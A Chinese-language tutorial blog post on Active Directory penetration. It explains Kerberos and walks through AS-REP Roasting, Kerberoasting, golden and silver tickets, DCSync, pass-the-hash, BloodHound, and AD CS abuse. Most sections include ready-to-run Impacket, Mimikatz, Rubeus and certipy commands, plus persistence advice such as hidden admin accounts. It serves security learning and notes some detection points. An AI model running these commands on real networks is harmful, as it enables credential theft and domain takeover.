域渗透基础


域渗透基础


一、Active Directory 基础概念

1.1 核心组件

组件全称作用渗透意义
DC 域控制器 AD 的核心服务器,存所有账户/密码哈希 拿下 DC = 拿下整个域
AD Active Directory 微软的目录服务,管理域内资源 渗透的最终目标
OU 组织单位 AD 中的容器,组织用户/计算机 通过 OU 结构可分析资产分布
SPN 服务主体名称 标识域内某个服务(如 SQL Server) Kerberoasting 的基础
KRBTGT Kerberos 服务账号 DC 上的 Kerberos 密钥分发账号 黄金票据需要它的哈希
Domain Admins 域管理员组 域内最高权限组 最终目标组
Enterprise Admins 企业管理员组 林根域最高权限组(林级别) 多域环境下的终极目标

1.2 域环境 vs 工作组

 工作组(Workgroup)              域(Domain)
 ├── 每台机器独立管理             ├── DC 统一管理所有机器
 ├── 无集中身份认证               ├── 单点登录(SSO)
 ├── 无组策略                     ├── 组策略(GPO)统一下发
 ├── 渗透:每台机器单独提权       ├── 渗透:拿下 DC = 全域控制
 └── 简单网络                     └── 企业级环境标配

二、Kerberos 协议 —— 域渗透的"HTTP 协议"

2.1 协议角色

角色简称对应现实
客户端 Client 想要访问服务的用户
认证服务器 AS DC 上的 KDC 组件
票据发放服务器 TGS DC 上的 KDC 组件
目标服务 Service 文件服务器、SQL Server 等

2.2 认证流程(六步,必须理解)

 ┌─────────────────────────────────────────────────────────────────────┐
 │                         Kerberos 认证流程                           │
 │                                                                     │
 │ Client                   KDC (DC)                     Service     │
 │   │                         │                           │         │
 │   │① AS-REQ (请求TGT)     │                           │         │
 │   │─── 加密的时间戳 ──────→ │                           │         │
 │   │                         │                           │         │
 │   │② AS-REP (返回TGT)     │                           │         │
 │   │←─── TGT(由KRBTGT加密) ── │                           │         │
 │   │                         │                           │         │
 │   │③ TGS-REQ (请求ST)     │                           │         │
 │   │─── TGT + SPN ──────────→ │                           │         │
 │   │                         │                           │         │
 │   │④ TGS-REP (返回ST)     │                           │         │
 │   │←─── ST(由服务账号加密) ── │                           │         │
 │   │                         │                           │         │
 │   │⑤ AP-REQ (访问服务)     │                           │         │
 │   │─────────────────────── ST ──────────────────────→   │         │
 │   │                         │                           │         │
 │   │⑥ AP-REP (服务响应)     │                           │         │
 │   │←─────────────────────────────────────────────────── │         │
 │                                                                     │
 └─────────────────────────────────────────────────────────────────────┘
 
 关键点:
 - TGT 由 KRBTGT 账号的哈希加密 —— 如果能拿到 KRBTGT 哈希
 - ST 由服务账号的哈希加密 —— 如果能拿到服务账号哈希
 - 客户端与 KDC 之间:时间戳用客户端密码哈希加密

2.3 渗透点定位(每个步骤的漏洞)

步骤名称漏洞/攻击利用条件
①→② AS-REQ/AS-REP AS-REP Roasting 用户账号未设置"预认证"
③→④ TGS-REQ/TGS-REP Kerberoasting 有域账户即可
AP-REQ 白银票据 拿到服务账号 NTLM 哈希
AS-REQ ASREQ 爆破 无预认证账户的用户名枚举
黄金票据 拿到 KRBTGT 哈希
DCSync 需要 DC 复制权限(DA 或特定 ACL)
Pass-the-Ticket 从一台机器窃取 TGT 票据

三、域渗透核心攻击技术

3.1 AS-REP Roasting(无预认证攻击)

 原理:如果域用户启用了"不需要 Kerberos 预认证"
  → 攻击者可以伪造 AS-REQ 请求
  → DC 返回加密的 TGT(用该用户的密码哈希加密)
  → 离线爆破该加密数据 → 还原明文密码
 
 # 利用工具
 # Impacket
 impacket-GetNPUsers -dc-ip 192.168.1.1 -request domain.com/user
 
 # Rubeus(在目标机器上执行)
 Rubeus.exe asreproast
 
 # 离线爆破
 hashcat -m 18200 AS-REP哈希.txt wordlist.txt
 
 适用条件:很低——只需要知道一个用户名(无需密码)
 目标:用户账号开了 "Do not require Kerberos preauthentication"

3.2 Kerberoasting(最常用的域攻击)

 原理:任何域用户都可以向 DC 请求某个服务的 ST(服务票据)
  → ST 由服务账号的 NTLM 哈希加密
  → 将 ST 导出到本地 → 离线爆破 → 得到服务账号明文密码
 
 # 利用工具
 # Impacket
 impacket-GetUserSPNs -dc-ip 192.168.1.1 domain.com/user:password
 
 # Rubeus
 Rubeus.exe kerberoast
 
 # 离线爆破
 hashcat -m 13100 Kerberos哈希.txt wordlist.txt
 
 适用条件:只需要一个普通域账户
 目标:域内任何注册了 SPN 的服务账号(往往有高权限)

3.3 黄金票据(Golden Ticket)

 原理:拿到 KRBTGT 账号的 NTLM 哈希
  → 可以伪造任意用户的 TGT
  → 可以指定任意权限(比如 Domain Admins)
  → 可以在整个域中冒充任何人访问任何服务
 
 # 获取 KRBTGT 哈希(需要 DA 权限)
 lsadump::dcsync /domain:domain.com /user:krbtgt
 
 # 伪造黄金票据(Mimikatz)
 kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /user:Administrator /id:500 /ptt
 
 # /ptt = 直接注入当前会话
 
 影响:拿到黄金票据 = 永久域控制权(除非重置 KRBTGT 密码两次)
 注意:KRBTGT 密码默认从不更换,所以黄金票据的持久性极强

3.4 白银票据(Silver Ticket)

 原理:拿到某个服务账号的 NTLM 哈希
  → 可以伪造该服务的 ST(服务票据)
  → 可以访问该服务上的所有资源
  → 不需要与 DC 通信(比黄金票据更隐蔽)
 
 # 伪造白银票据(Mimikatz)
 kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:TARGET_SERVER.domain.com /service:CIFS /rc4:SERVICE_HASH /user:Administrator /ptt
 
 - CIFS = 文件共享访问
 - HOST = 计划任务/远程桌面
 - HTTP = Web 服务
 - LDAP = AD 查询

3.5 DCSync

 原理:利用域复制协议(DRSR)模拟 DC 的行为
  → 可以从 DC 请求任意账户的密码哈希
  → 不需要登录 DC,只需要一个高权限域账号
 
 # 必要条件
 - Domain Admins / Enterprise Admins / 特定 ACL 权限
 - 域功能级别 >= 2008
 
 # 利用(Mimikatz)
 lsadump::dcsync /domain:domain.com /user:Administrator
 
 # 利用(Impacket)
 impacket-secretsdump -just-dc domain.com/Administrator:password@192.168.1.1
 
 防护思路:
 - 监控 Event ID 4662(DS-Replication-Get-Changes)
 - 限制 DC 复制权限,减少可发起 DCSync 的账户

3.6 Pass-the-Hash(PtH)与 Overpass-the-Hash

 # Pass-the-Hash
 # 直接用 NTLM 哈希登录,不需要明文密码
 impacket-psexec domain.com/Administrator@192.168.1.1 -hashes LMHASH:NTHASH
 
 # Overpass-the-Hash
 # 用 NTLM 哈希获取 Kerberos TGT
 Rubeus.exe asktgt /user:Administrator /rc4:NTHASH /ptt

3.7 攻击技术对比

攻击需要权限产出隐蔽性持久性
AS-REP Roasting 无(需用户名) 用户明文密码 ★★★
Kerberoasting 普通域账号 服务账号明文密码 ★★★
黄金票据 DA(拿 KRBTGT 哈希) 全域永续权限 ★★ ★★★★★
白银票据 服务账号哈希 特定服务永续权限 ★★★★ ★★★★
DCSync DA/特定 ACL 全域账号哈希 ★★
Pass-the-Hash NTLM 哈希 目标机器权限

四、BloodHound —— AD 拓扑可视化

4.1 什么是 BloodHound

BloodHound 是一个 AD 关系分析工具,用图论找出域内攻击路径。

输入:AD 中的用户、组、计算机、会话、ACL
输出:从"当前控制点"到"域管理员"的最短攻击路径
展示:图形化界面(Neo4j 数据库 + 前端 UI)

4.2 数据收集(SharpHound)

# 在目标机器上运行(需域账户权限)
SharpHound.exe -c All -d domain.com

# 收集的数据类型
- Users & Groups(用户和组关系)
- Computers & Sessions(计算机和当前会话)
- ACL(访问控制条目)
- GPO(组策略对象)
- 域信任关系

# 输出:一堆 JSON 文件 → 压缩成 ZIP → 导入 BloodHound

4.3 BloodHound 分析

# 启动 BloodHound
# 需要先启动 Neo4j 数据库
neo4j console # 默认 http://localhost:7474
bloodhound # 默认 http://localhost:7687

# 导入 SharpHound 数据
Upload Data → 选择 ZIP 文件

# 三大查询类型

1. 找最短攻击路径
→ Node Info → "Shortest Paths to Domain Admins"
→ 显示从你的当前用户到 DA 的最短路径

2. 找高价值目标
→ "Find all Domain Admins"(谁是 DA)
→ "Sessions(运行中会话)"(谁登录在哪台机器)
→ "Kerberoastable Users"(可 Kerberoasting 的用户)

3. 找权限提升路径
→ "WriteDACL" 权限→可修改 ACL→可提权
→ "GenericAll" 完全控制权限
→ "AdminTo" 本地管理员关系

4.4 常用 BloodHound Cypher 查询

# 查询所有域管理员
MATCH (n:User) WHERE n.domainadmin=true RETURN n

# 查询所有可 Kerberoasting 的用户
MATCH (n:User) WHERE n.hasspn=true RETURN n

# 查询当前用户到 DA 的最短路径
MATCH p=shortestPath((start {name:"USER@DOMAIN"})-[*1..]->(end {name:"DOMAIN ADMINS@DOMAIN"})) RETURN p

# 查询有 DCSync 权限的账户
MATCH (n) WHERE n.name=~'.*DOMAIN' AND n.dcsync=true RETURN n

4.5 典型攻击路径(从普通用户到 DA)

场景:你是一个普通域用户 user@domain.com

路径1: 简单直接
user → 本地管理员(A) → A 上有 DA 的会话 → 窃取 DA Token → 控制 DC

路径2: ACL 滥用
user → GenericAll on Group1 → Group1 是 Domain Admins 成员 → 把自己加入 DA

路径3: Kerberoasting
user → 发现 SQLService 有 SPN → Kerberoasting → 拿到 SQLService 密码
SQLService 是 Domain Admins 成员 → 直接登录 DC

路径4: 多层跳板
user → AdminTo MachineA → MachineA 上有 UserB 的会话
UserB → MemberOf Backup Admins → Backup Admins 有 DC 的 Backup 权限
→ 用 Backup 权限 dump DC 的 NTDS.dit → 拿到 KRBTGT 哈希 → 黄金票据

五、实战工具链

5.1 工具速查

工具用途命令示例
Mimikatz Windows 密码/票据提取 sekurlsa::logonpasswords
Impacket Python 域攻击套件 impacket-secretsdump, impacket-GetNPUsers
Rubeus Kerberos 攻击 Rubeus.exe kerberoast
SharpHound BloodHound 数据收集 SharpHound.exe -c All
BloodHound AD 可视化分析 浏览器 UI
CrackMapExec 批量密码验证/枚举 cme smb 192.168.1.0/24 -u user -p pass
ldapdomaindump LDAP 信息导出 ldapdomaindump ldap://192.168.1.1 -u 'domain\user'
certipy AD CS 漏洞利用 certipy find -u user@domain.com -p pass -dc-ip 192.168.1.1

5.2 实战流程

┌─────────────────────────────────────────────────────────────────┐
│ Phase 1: 信息收集 │
│ BloodHound 数据收集(SharpHound -c All) │
│ ldapdomaindump 导出 LDAP 信息 │
│ CrackMapExec 探测网段内机器 │
│ → 导入 BloodHound → 看图找最短路径 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 2: 入口突破 │
│ AS-REP Roasting(没预认证的用户) │
│ Kerberoasting(有 SPN 的服务账号) │
│ 密码喷洒(Password Spraying):一个密码试所有用户 │
│ → 拿到一个普通域账号 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 3: 横向移动 │
│ 查看目标机器上的管理员会话(BloodHound Sessions) │
│ Pass-the-Hash / Overpass-the-Hash │
│ WMI/PSEXEC/SCHTASKS 远程执行 │
│ → 向高权限节点移动 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 4: 权限提升 │
│ ACL 路径利用(GenericAll/WriteDACL/WriteOwner) │
│ AD CS 漏洞(ESC1-ESC8,用 certipy) │
│ 组策略滥用 │
│ → 拿到 Domain Admins 权限 │
├─────────────────────────────────────────────────────────────────┤
│ Phase 5: 持久化 │
│ DCSync → 获取 KRBTGT 哈希 → 黄金票据 │
│ 创建隐藏域管理员账户 │
│ SID History 注入 │
│ → 持久化域控制权限 │
└─────────────────────────────────────────────────────────────────┘

六、AD CS(证书服务)攻击 — 扩展知识

6.1 什么是 AD CS

Active Directory 证书服务(AD CS)是企业 CA,如果配置不当会引入严重漏洞。

ESC1 — 证书模板允许域用户请求 SAN 可指定的模板:允许伪造任意用户的证书(包括 DA)→ 用该证书请求 TGT → 冒充 DA

# certipy 自动化检测利用
certipy find -u user@domain.com -p password -dc-ip 192.168.1.1
certipy req -u user@domain.com -p password -ca CA-SERVER -target dc.domain.com -template ESC1-TEMPLATE -upn administrator@domain.com

七、快速参考

7.1 NTLM vs Kerberos

 NTLMKerberos
认证方式 挑战-响应 票据
使用场景 工作组/兼容模式 域环境
端口 445 (SMB) 88 (UDP/TCP)
漏洞工具 Responder(NTLM Relay) Rubeus/Impacket
特征 三次握手 六步流程

7.2 关键端口

端口协议服务
88 UDP/TCP Kerberos
135 TCP RPC
139/445 TCP SMB
389 TCP/UDP LDAP
636 TCP LDAPS
3268/3269 TCP 全局编录
5985/5986 TCP WinRM
9389 TCP AD Web 服务

7.3 常见 Event ID(蓝队监控点)

Event ID检测内容
4624 登录成功
4625 登录失败(密码喷洒可被检测)
4662 目录服务访问(DCSync 的可检测点)
4768 Kerberos TGT 请求
4769 Kerberos ST 请求
4776 NTLM 认证

八、学习路径建议

必须掌握的技能顺序:
1. Impacket 基本命令(secretsdump、GetNPUsers、GetUserSPNs)
2. BloodHound 数据收集 + 分析(看得懂图找得到路)
3. Kerberoasting + AS-REP Roasting 实操
4. Pass-the-Hash / PsExec 远程执行
5. DCSync + 黄金票据 Mimikatz 操作

进阶技能:
- ACL 滥用(WriteDACL/GenericAll/ForceChangePassword)
- AD CS 攻击(ESC1-ESC8)
- 跨林/跨域信任攻击
- 组策略滥用(Startup Scripts 注入)

posted @ 2026-07-11 14:36  月初吖  阅读(2)  评论(0)    收藏  举报